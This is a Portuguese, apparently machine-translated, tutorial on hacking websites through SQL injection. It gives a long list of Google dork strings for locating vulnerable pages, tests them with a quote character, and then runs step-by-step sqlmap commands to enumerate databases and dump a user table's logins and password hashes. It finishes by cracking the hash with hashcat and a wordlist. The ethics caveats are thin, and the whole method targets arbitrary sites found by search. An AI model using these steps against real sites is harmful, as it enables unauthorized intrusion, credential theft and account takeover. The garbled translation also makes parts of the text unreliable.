Injeção de SQL é uma técnica de injeção de código, usado para atacar aplicações de dados conduzidos, em que instruções SQL maliciosos são inseridos em um campo de entrada para a execução (por exemplo, para despejar o conteúdo do banco de dados para o atacante). [1] injeção de SQL deve explorar uma vulnerabilidade de segurança em software de um aplicativo, por exemplo, quando a entrada do usuário é ou incorretamente filtrada para strings literais caracteres de escape embutidas em instruções SQL ou a entrada do usuário não é fortemente tipado e inesperadamente executado. Injeção de SQL é principalmente conhecido como um vetor de ataque para sites, mas pode ser usado para atacar qualquer tipo de bancos de dados SQL. Neste guia vou mostrar-lhe como SqlMap SQL Injection em Kali Linux para hackear um site (mais especificamente do banco de dados) e extrair nomes de usuários e senhas em Kali Linux.
SqlMap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção SQL e assumir de servidores de banco de dados. Ele vem com um motor de detecção poderoso, muitas características de nicho para o testador de penetração máxima e uma ampla gama de interruptores com duração de impressões digitais do banco de dados, ao longo Buscando dados do banco de dados, para acessar o sistema de arquivos subjacente e executar comandos no sistema operacional através de out- conexões de banda.
[Fonte: www.sqlmap.org]
Seja atencioso para o usuário que passa o tempo e esforço para criar um site e, possivelmente, depende dele para fazer o seu dia final.Suas ações podem afetar alguém é uma maneira que você nunca desejou. Eu acho que eu não posso fazer mais isso mais claro.
Então aqui vai:
Este é geralmente o bit mais difícil e leva mais tempo do que quaisquer outras medidas. Aqueles que sabem como usar o Google Dorkssabe isso já, mas no caso de você não tenho a reunir uma série de seqüências que você pode pesquisar no Google. Basta copiar colar qualquer uma das linhas no Google e Google irá mostrar-lhe uma série de resultados de pesquisa.
Esta lista um tempo muito longo .. Levei um longo tempo para recolhê-los. Se você sabe SQL, então você pode adicionar mais aqui .. Coloque-as em seção de comentários e eu vou adicioná-los aqui.
Google Dork corda Coluna 1 | Google Dork corda Coluna 2 | Google Dork corda Coluna 3 |
---|---|---|
inurl: item_id = | inurl:? review.php id = | inurl:? hosting_info.php id = |
inurl: newsid = | inurl: iniziativa.php in =? | inurl:? gallery.php id = |
inurl:? trainers.php id = | inurl:? curriculum.php id = | inurl:? rub.php idr = |
inurl: news-full.php id = | inurl:? labels.php id = | inurl:? view_faq.php id = |
inurl:? news_display.php getid = | inurl:? story.php id = | inurl:? artikelinfo.php id = |
inurl:? opção index2.php = | inurl:? look.php ID = | inurl:? detail.php ID = |
inurl:? readnews.php id = | inurl:? newsone.php id = | inurl: index.php =? |
inurl:? top10.php cat = | inurl:? aboutbook.php id = | inurl:? profile_view.php id = |
inurl:? newsone.php id = | inurl:? material.php id = | inurl:? category.php id = |
inurl:? event.php id = | inurl:? opinions.php id = | inurl:? publications.php id = |
inurl:? produto item.php id = | inurl:? announce.php id = | inurl:? fellows.php id = |
inurl:? sql.php id = | inurl:? rub.php idr = | inurl:? downloads_info.php id = |
inurl: index.php catid = | inurl:? galeri_info.php l = | inurl:? prod_info.php id = |
inurl:? news.php catid = | inurl:? tekst.php idt = | inurl:? shop.php fazer parte = & id = |
inurl: id = index.php? | inurl:? newscat.php id = | inurl:? productinfo.php id = |
inurl:? news.php id = | inurl:? newsticker_info.php idn = | inurl:? collectionitem.php id = |
inurl: id = index.php? | inurl:? rubrika.php idr = | inurl:? band_info.php id = |
inurl:? trainers.php id = | inurl:? rubp.php idr = | inurl:? product.php id = |
inurl:? buy.php categoria = | inurl:? offer.php idf = | inurl:? releases.php id = |
inurl:? article.php ID = | inurl:? art.php idm = | inurl:? ray.php id = |
inurl:? play_old.php id = | inurl:? title.php id = | inurl:? produit.php id = |
inurl:? declaration_more.php decl_id = | inurl:? news_view.php id = | inurl:? pop.php id = |
inurl: pageid = | inurl:? select_biblio.php id = | inurl:? shopping.php id = |
inurl:? games.php id = | inurl:? humor.php id = | inurl:? productdetail.php id = |
inurl: arquivo page.php = | inurl:? aboutbook.php id = | inurl:? post.php id = |
inurl:? newsDetail.php id = | inurl:? ogl_inet.php ogl_id = | inurl:? viewshowdetail.php id = |
inurl:? gallery.php id = | inurl:? fiche_spectacle.php id = | inurl:? clubpage.php id = |
inurl:? article.php id = | inurl:? communique_detail.php id = | inurl:? memberInfo.php id = |
inurl:? show.php id = | inurl:? sem.php3 id = | inurl:? section.php id = |
inurl: staff_id = | inurl:? kategorie.php4 id = | inurl:? theme.php id = |
inurl:? newsitem.php num = | inurl:? news.php id = | inurl:? page.php id = |
inurl:? readnews.php id = | inurl: id = index.php? | inurl: triturador-categories.php id = |
inurl:? top10.php cat = | inurl:? faq2.php id = | inurl:? tradeCategory.php id = |
inurl:? historialeer.php num = | inurl:? show_an.php id = | inurl:? product_ranges_view.php ID = |
inurl:? reagir.php num = | inurl:? preview.php id = | inurl:? shop_category.php id = |
inurl: Stray-Perguntas-view.php num = | inurl:? loadpsb.php id = | inurl:? transcript.php id = |
inurl:? forum_bds.php num = | inurl:? opinions.php id = | inurl: Channel_id = |
inurl:? game.php id = | inurl:? spr.php id = | inurl:? aboutbook.php id = |
inurl:? view_product.php id = | inurl:? pages.php id = | inurl:? preview.php id = |
inurl:? newsone.php id = | inurl:? announce.php id = | inurl:? loadpsb.php id = |
inurl:? sw_comment.php id = | inurl:? clanek.php4 id = | inurl:? pages.php id = |
inurl:? news.php id = | inurl:? participant.php id = | |
inurl:? avd_start.php avd = | inurl:? download.php id = | |
inurl:? event.php id = | inurl:? main.php id = | |
inurl:? produto item.php id = | inurl:? review.php id = | |
inurl:? sql.php id = | inurl:? chappies.php id = | |
inurl:? material.php id = | inurl:? read.php id = | |
inurl:? clanek.php4 id = | inurl:? prod_detail.php id = | |
inurl:? announce.php id = | inurl:? viewphoto.php id = | |
inurl:? chappies.php id = | inurl:? article.php id = | |
inurl:? read.php id = | inurl:? person.php id = | |
inurl:? viewapp.php id = | inurl:? productinfo.php id = | |
inurl:? viewphoto.php id = | inurl:? showimg.php id = | |
inurl:? rub.php idr = | inurl:? view.php id = | |
inurl:? galeri_info.php l = | inurl:? website.php id = |
Para cada show corda acima, você receberá huundreds de resultados de pesquisa. Como você sabe que é muito vulnerável a SqlMap SQL Injection. Há várias maneiras e tenho certeza que as pessoas diriam que é o melhor, mas para mim o seguinte é o mais simples e mais conclusivo.
Vamos dizer que você procurou usar essa seqüência de inurl: item_id =
e um dos resultado da pesquisa mostra um site como este:
https://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15
Basta adicionar uma aspa '
no final da URL. (Só para garantir, "
é um aspas duplas e "
é uma aspa simples).
Então agora o URL será parecido com isto:
https://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 '
Se a página retorna um erro de SQL, a página é vulnerável a SqlMap SQL Injection. Se ele carrega ou redirecioná-lo para uma página diferente, passar para o próximo local em sua página de resultados de pesquisa do Google.
Veja o exemplo abaixo de erro na imagem. Eu obscurecida tudo, incluindo URL e design da página, por razões óbvias.
Erro de Servidor no Aplicativo '/'. Aspas não fechadas antes do caractere string 'ataque;'.
Descrição: Ocorreu uma exceção unhanded durante a execução da solicitação da web atual. Examine o rastreamento de pilha para obter mais informações sobre o erro onde foi originado no código.
Detalhes da exceção: System.Data.SqlClient.SqlException: Aspas não fechadas antes do caractere string 'ataque; ».
Warning: mysql_fetch_array (): fornecido argumento não é um recurso válido do resultado de MySQL em / var / www / myawesomestore.com / buystuff.php na linha 12
Erro: Você tem um erro em sua sintaxe SQL: verifique o manual que corresponde à sua versão do servidor MySQL para a sintaxe direita ao uso próximo'' 'na linha 12
java.sql.SQLException: ORA-00933: comando SQL não devidamente terminou às oracle.jdbc.dbaaccess.DBError.throwSqlException (DBError.java: 180) em oracle.jdbc.ttc7.TTIoer.processError (TTIoer.java: 208)
Erro: SQLExceptionjava.sql.SQLException: ORA-01756: string não devidamente rescindido
Consulta falhou: ERRO: não terminada string ou perto "'' '"
Como você pode ver na imagem acima, eu encontrei um SqlMap SQL Injection site vulnerável. Agora eu preciso listar todos os bancos de dados em banco de dados que Vulnerável. (Isso também é chamado de enumerar número de colunas). Como eu estou usando SqlMap, que também irá me dizer qual é vulnerável.
Execute o seguinte comando em seu site vulnerável com.
SqlMap-u https://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 - dbs
Em aqui: SqlMap
= Nome do arquivo binário SqlMap -u
= URL de destino (por exemplo, "https://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15") - dbs
= bancos de dados Enumerar DBMS
Veja a imagem abaixo.
Este comandos revela muito poucos informação interessante:
tecnologia de aplicação web: Apache DBMS back-end: MySQL 5.0 [10:55:53] [INFO] acessado: information_schema [10:55:56] [INFO] acessado: sqldummywebsite [10:55:56] [INFO] dados buscados logado para arquivos de texto em "/ usr / share / SqlMap / output / www.sqldummywebsite.com '
Então, agora temos dois dados que podemos olhar. information_schema
é um banco de dados padrão para quase todos os banco de dados MYSQL. Assim, o nosso interesse seria em sqldummywebsite
banco de dados.
Agora precisamos saber quantas mesas este sqldummywebsite
banco de dados tem e quais são seus nomes. Para descobrir essa informação, use o seguinte comando:
SqlMap-u https://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15-D sqldummywebsite --tables
Sweet, esta base de dados tem 8 mesas.
[10:56:20] [INFO] buscar mesas para banco de dados: 'sqldummywebsite' [10:56:22] [Info] heurísticas detectado página web charset 'ISO-8859-2' [10:56:22] [INFO] a consulta SQL retorna utilizados 8 entradas [10:56:25] [INFO] acessado: artigo [10:56:27] [INFO] acessado: ligação [10:56:30] [INFO] acessado: outro [10:56:32] [INFO] acessado: imagem [10:56:34] [INFO] acessado: picture_tag [10:56:37] [INFO] acessado: popular_picture [10:56:39] [INFO] acessado: popular_tag [10:56:42] [INFO] acessado: user_info
e, claro, queremos verificar o que está dentro user_info
tabela usando SQL Injection SqlMap como que a tabela provavelmente contém nome de usuário e senhas.
Agora precisamos listar todas as colunas na tabela de destino USER_INFO
de sqldummywebsite
banco de dados usando SqlMap SQL Injection. SqlMap SQL Injection torna muito fácil, execute o seguinte comando:
SqlMap-u https://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15-D sqldummywebsite-T user_info --Columns
Isso retorna 5 entradas de tabela de destino user_info
de sqldummywebsite
banco de dados.
[10:57:16] [INFO] buscar colunas da tabela 'user_info' em banco de dados 'sqldummywebsite' [10:57:18] [Info] heurísticas detectado página web charset 'ISO-8859-2' [10:57:18] [INFO] a consulta SQL retorna utilizados 5 cadastros [10:57:20] [INFO] acessado: user_id [10:57:22] [INFO] acessado: int (10) unsigned [10:57:25] [INFO] acessado: user_login [10:57:27] [INFO] acessado: varchar (45) [10:57:32] [INFO] acessado: user_password [10:57:34] [INFO] acessado: varchar (255) [10:57:37] [INFO] acessado: unique_id [10:57:39] [INFO] acessado: varchar (255) [10:57:41] [INFO] acessado: record_status [10:57:43] [INFO] acessado: tinyint (4)
AHA! Este é exatamente o que estamos procurando ... alvo mesa user_login
e user_password
.
SqlMap SQL Injection faz é fácil! Basta executar o seguinte comando novamente:
SqlMap-u https://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15-D sqldummywebsite-T user_info-C user_login --dump
Adivinha o quê, agora temos o nome de usuário do banco de dados:
[10:58:39] [INFO] acessado: usuárioX [10:58:40] [INFO] descarga de tabela analisando possíveis hashes de senha
Quase lá, agora só precisa da senha para para este utilizador .. a seguir mostra apenas que ..
Você provavelmente está se acostumando a sobre como usar a ferramenta de injeção SqlMap SQL. Use o seguinte comando para extrair a senha para o usuário.
SqlMap-u https://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15-D sqldummywebsite-T user_info-C user_password --dump
TADA! Temos senha.
[10:59:15] [INFO] a consulta SQL retorna usados 1 cadastros [10:59:17] [INFO] acessado: 24iYBc17xK0e. [10:59:18] [INFO] descarga de tabela analisando possíveis hashes de senha Base de dados: sqldummywebsite Tabela: user_info [1 entrada] + --------------- + | User_password | + --------------- + | 24iYBc17xK0e. | + --------------- +
Mas espere, essa senha parece engraçado. Esta não pode ser a senha de alguém .. Alguém que deixa seu site vulnerável como que simplesmente não pode ter uma senha assim.
Isto é exatamente correto. Este é um hash de senha. O que isso significa, a senha é criptografada e agora precisamos de decifrá-lo.
Eu cobri como descriptografar senha extensivamente sobre este Cracking MD5, phpBB, MySQL e SHA1 senhas com Hashcat em Kali Linux post. Se você perdeu, você está perdendo muito.
Vou cobri-lo em breve aqui, mas você realmente deve aprender a usar hashcat.
Portanto, a senha de hash é 24iYBc17xK0e.
. Como você sabe que tipo de hash é isso?
Felizmente, Kali Linux fornece uma ferramenta agradável e podemos usar isso para identificar qual o tipo de hash é isso. No comando tipo de linha no comando a seguir e no prompt de colar o valor hash:
Hash-identificador
Excelente. Portanto, esta é de hash DES (Unix).
Primeiro de tudo eu preciso saber qual o código a ser usado para hashes DES. Então, vamos verificar que:
cudahashcat - help | grep DES
Então, é ou 1500 ou 3100. Mas foi um banco de dados MySQL, por isso deve ser 1500.
Estou executando um computador isso é tem placa NVIDIA Graphics. Isso significa que eu vou estar usando cudaHashcat. No meu laptop, eu tenho um cartão AMD ATI Graphics, por isso vou estar usando oclHashcat no meu laptop. Se você estiver em VirtualBox ou VMWare, nem cudahashcat nem oclhashcat vai funcionar. Você deve instalar Kali em qualquer um USB persisitent ou em disco rígido. As instruções estão no site, procurar por aí.
Salvei o valor de hash 24iYBc17xK0e.
no DES.hash
arquivo. A seguir é o comando que estou executando:
cudahashcat-m 1500-um 0 / root / sql / DES.hash / root / sql / rockyou.txt
Interessante encontrar: Usuaul Hashcat foi incapaz de determinar o código de hash para DES. (Não no-lo do menu de ajuda). Howeverm tanto cudaHashcat e oclHashcat encontrado e rachou a chave.
De qualquer forma, isso aqui é a senha rachado: abc123. 24iYBc17xK0e:. abc123
Sweet, que agora ainda tem a senha para este usuário.
Obrigado por ler e visitar o meu site.
Há muitas outras maneiras de entrar em um banco de dados ou obter informações do usuário. Você deve praticar tais técnicas em sites que você tem permissão para.
Por favor, compartilhe e que todos saibam como testar seus sites usando esta técnica. antes de tudo ache primeiro
ache apagina da adiministrção do site veja a qui no site como achar pagina do adiministrador do site.